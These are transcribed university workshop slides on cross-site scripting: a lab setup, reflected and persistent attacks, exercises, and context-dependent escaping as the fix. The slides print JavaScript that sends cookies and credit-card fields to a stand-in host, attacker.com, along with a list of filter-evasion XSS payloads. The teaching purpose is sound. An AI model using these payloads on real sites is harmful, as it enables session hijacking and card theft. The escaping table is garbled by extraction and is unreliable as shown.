Cross-Site Scripting · CROSS-SITE SCRIPTING (XSS) Most dangerous security problem in 2010...
14
Michael Sonntag Institute of Networks and Security Cross-Site Scripting
Transcript of Cross-Site Scripting · CROSS-SITE SCRIPTING (XSS) Most dangerous security problem in 2010...
Michael Sonntag
Institute of Networks and Security
Cross-Site Scripting
SCENARIO
This is a live CD; unfortunately in German
Just create/import a new virtual machine (Linux –
Ubuntu), and specify the image file as the CD-ROM
Boot from this CD-ROM into a full Linux environment
Web application: Browser is already open
Navigate “Beispiele”– “SQL-Injections - Beispiel”
You end op on a “Daily poll” website
Source code: Desktop/WWW-Beispiele/bsp2-3/
Or: /var/www/security_workshop/beispiele/bsp2-3
CROSS-SITE SCRIPTING (XSS)
Most dangerous security problem in 2010 according to CWE/SANS
Affected companies: Facebook, Google, YouTube, MySpace, Yahoo,
Twitter, Visa, McAfee, Symantec, Amazon, eBay, PayPal, Sony,
NVIDIA, MIT, NASA, ...
So practically only companies knowing nothing about the web or
security either…
Attack: Injecting malicious code and getting it executed
This is NOT a typical injection attack: Injection attacks normally
target the webserver. Here the server is completely unaffected
Still it is in principle “injection”: Sata is interpreted as code
Aim: Client (Browser)
Transmission: (Mostly) via the server
How the attack works
$value = getData()
HTML
. . .
$value
Webserver Browser
Malicious
code
HTML
. . .
Mal. code
Attacker
Malicious code
Almost exclusively JavaScript <script> ... </script>
Will be executed almost regardless where it is on the HTML page ()
What is to be captured: Cookies: For impersonation
Reading page content (form data) and writing page content Vandalism
Phishing: Modifying the discussion forum to look like the password entry page,
adding a “verification by TAN” when posting a message etc.
User activity: mouse movements, key presses Stealing credentials, credit card data…
Local resources: Computing power, network connections (=inside the
company), DoS
Example 1: Preparation
Take a look at the web site from the SQL injection example
Where does it accept data from the user?
Which method is used to transmit this data?
Does this data ever come back to the user?
In „normal“ use?
In case of errors („malformed content: ….“)?
Which data will only the current user see?
Which data will be seen by every user of the site?
Kinds of XSS
Reflected Via a link: http://www.host.com/view?id=malicious_code
Code is “reflected” back by the server → Somewhere in the output
Common (e.g. Facebook worms), but comparatively „difficult“ Especially regarding exploitation: Every victim must be induced to “use” this
specific link
Persistent Malicious code is store on the server by the attacker (e.g. forum post)
Is delivered to the user/victim whenever a certain page is visited (e.g. the
list of forum posts)
More difficult to introduce, but then very effective & no further work needed
Example 2: Exploitation
Where can you start a reflected XSS attack?
How would you attack the victims??
Where can you performa a persistent XSS attack?
Who would be the victims?
Use only the following type of „malicious“ code! JavaScript function alert(“Message”) opens a window with the text
Real malicious code
Note: We cannot test this here, as we would need another webserver
reachable by the network Where we send the stolen data to!
Stealing a cookie document.location="http://attacker.com/steal.php?c=" +
document.cookie;
document.location="http://www.targetsite.com"
What you can try: Showing the cookie Put this into a comment: alert(document.cookie);
Stealing credit card number document.location="http://attacker.com/steal.php?n=" +
document.forms[1].elements["cc_number"].value
Some more tricks
<IMG SRC="javascript:alert('XSS');"/>
<TABLE BACKGROUND="javascript:alert('XSS')">
<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>
<META HTTP-EQUIV="refresh"
CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/
html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
K">
Decoded: <script>alert('XSS')</script>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Just garbage that is going to be ignored
Preventing XSS
Output, i.e. cleaning the response of the server
Fixing the character set: HTTP and HTML header
Allow output of data only in specific context
E.g. never directly within <script>...</script>
Encoding/ Escaping dependent on context
HTML
Attributes
JavaScript
CSS
URL
Dangerous and often difficult:
Custom/self-developed filters
Escaping HTML
Problematic characters: & < > ( ) # " ' /
Escaping via HTML entities & → &
< → <
> → >
( → (
) → )
# → #
" → "
' → '
/ → /
Display in browser is unchanged
but: characters lose their special meaning as start
of a tag, an entity etc.
<script>alert('XSS got you');</script>
<script>alert('XSS got you
');</script>
Example 3: Securing the application
Prevent the two XSS vulnerabilities we exploited Search result error message
Forum comment
Some functions you might find helpful str_replace(searchArray, replaceArray, data)
htmlspecialchars(data)
htmlentities(data)
filter_var(data, FILTER_SANITIZE_STRING)
Strips tags; optionally may encode special characters
Note: This will only help here in this special case of “text on the page” Other locations cannot be solved as easily!
Especially problematic: Some HTML tags should be allowed…
JOHANNES KEPLER
UNIVERSITÄT LINZ
Altenberger Straße 69
4040 Linz, Österreich
www.jku.at
Michael Sonntag
+43 (732) 2468 - 4137
S3 235 (Science park 3, 2nd floor)
https://www.ins.jku.at THANK YOU FOR
YOUR ATTENTION!
